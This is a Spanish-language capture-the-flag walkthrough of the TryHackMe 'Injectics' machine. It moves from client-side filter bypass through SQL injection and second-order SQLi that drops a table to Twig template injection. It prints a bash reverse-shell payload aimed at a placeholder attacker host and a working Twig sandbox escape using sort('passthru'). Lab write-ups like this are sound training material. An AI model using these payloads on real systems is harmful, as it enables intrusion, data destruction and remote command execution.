XUT_ / MACHINES / THM

0066

Injectics

THMMACHINENONEMEDIUM

Getting the Flags

  1. Vamos a empezar como siempre, con escaneos:

    1. Primero un escaneo a la IP, general. injectics
    2. Luego un escaneo más profundo a aquellos puertos abiertos. injectics
    3. Seguimos con enumeración de directorios. injectics
    4. Vamos a buscar archivos comunes, para ello usamos dirsearch que ya prueba algunas extensiones comunes por defecto. injectics
    5. Miramos el código fuente. injectics Parece que hemos encontrado un email válido y el archivo donde se guardan estos.
  2. Ahora que tenemos unos cuantos directorios vamos a recopilar información de la aplicación web.

    1. Empezando por el archivo robots.txt. injectics No existe por lo que ya lo descartamos.
    2. Vamos a ver qué hay en la página principal. injectics injectics
    3. Si buscamos en estos botones, todos nos llevan a # menos Login que nos lleva a login.php. injectics Volveremos aquí más tarde.
    4. Vamos a ver qué vemos por los directorios que habíamos sacado del escaneo de directorios. injectics La página phpmyadmin es la única que no aparece 403 Forbidden.
  3. Si miramos algunos de los archivos que encontramos con dirsearch encontramos lo siguiente. injectics injectics Parece que hemos encontrado el framework de la web.

  4. Vamos a investigar la página login.php.

    1. Si le damos a Login as Admin, nos lleva a la página adminLogin007.php. injectics
    2. Vamos a intentar iniciar sesión en el login normal y ver que pasa con Burp Suite. injectics Salta esto y ni siquiera llega a salir del cliente.
    3. Si investigamos un poco podemos llegar hasta el JS que hace que salte esta alerta. injectics Aquí podemos ver que si esas palabras están contenidas no nos dejará acceder ni siquiera a la petición de login, al haber puesto "normal" está cogiendo el "or" dentro de esta.
    4. Cambiamos el Email y volvemos a probar. injectics
    5. Ahora que ya tenemos la petición, vamos a jugar en Burp Suite.
      1. Lo primero vamos a ver si el filtro de "OR" está sólo del lado del cliente. injectics Hemos puesto "pruebanormal" y nos sale lo mismo que en la petición de arriba, por lo que parece que sí, sólo era un filtro del lado del cliente.
      2. Vamos a probar a enviar ahora una petición con un correo real: dev@injectics.thm. injectics Parece que no podemos obtener información de aquí.
  5. Si recordamos el escaneo, había un archivo donde se guardaban los correos: mail.log injectics Estas credenciales sólo valdrían si algo le pasara a la tabla users por lo que no nos valen.

  6. Vamos a probar diferentes payloads de alguna lista de github en el Intruder de Burp Suite. Primero probaremos en el campo email. injectics

  7. Después de esperar un poco obtenemos el payload. injectics

  8. Cambiamos la cookie de sesión PHPSESSID al valor hecho en la petición validada y vamos al endpoint que nos marca la respuesta. injectics

  9. Si recordamos lo que decía la página de mail.log era que si algo le pasaba a la tabla users se habilitarían las cuentas que aparecían allí. Vamos a editar alguna entrada y a corroborar esto. injectics Después de hacer esto e intentar loguearnos como admin parece que nada cambia.

  10. Vamos a intentar introducir un cambio con una query (ataque de segundo orden SQLi). injectics Parece que hay validación, vamos a cambiar el payload.

  11. Probamos ahora a quitar las comillas. injectics Parece que ahora sí nos deja. injectics Y encima se han cambiado todos los oros.

  12. Vamos a borrar la base de datos, por lo que decía en el email. injectics injectics

  13. Vamos ahora a iniciar sesión como admin. injectics

  14. Si recordamos el análisis, el motor de plantillas era twig que permite crear dinamismo mediante etiquetas como {{ }}. injectics

  15. Parece que es susceptible de SSTI. injectics

  16. Si probamos ahora a poner {{ system("ls") }}, nos salta con: injectics

  17. Encontramos la forma de mandarnos una reverse shell {{ ["bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO_ATACANTE 0>&1'"] | map("system") | join }}.

    1. Nos ponemos en escucha. injectics
    2. Metemos el payload en la plantilla. injectics
    3. Por desgracia nos salta un error. injectics
  18. Después de mucho quebradero de cabeza y de darnos cuenta de que estamos en una sandbox con restricciones (debido a que passthru lo pone), llegamos a un payload que funciona: {{['id','']|sort('passthru')}}. Aquí creamos un array así ['id', '']. Después con sort especificamos la función de ordenado, pero esto no comprueba que sea una función de ordenado, solo lo intenta ejecutar. Passthru en PHP ejecuta un comando del sistema operativo y muestra su salida sin procesar. injectics injectics

  19. Listamos el directorio /flags sustituyendo id por ls flags. injectics

  20. Leemos el documento. injectics

  21. Obtenemos la flag. injectics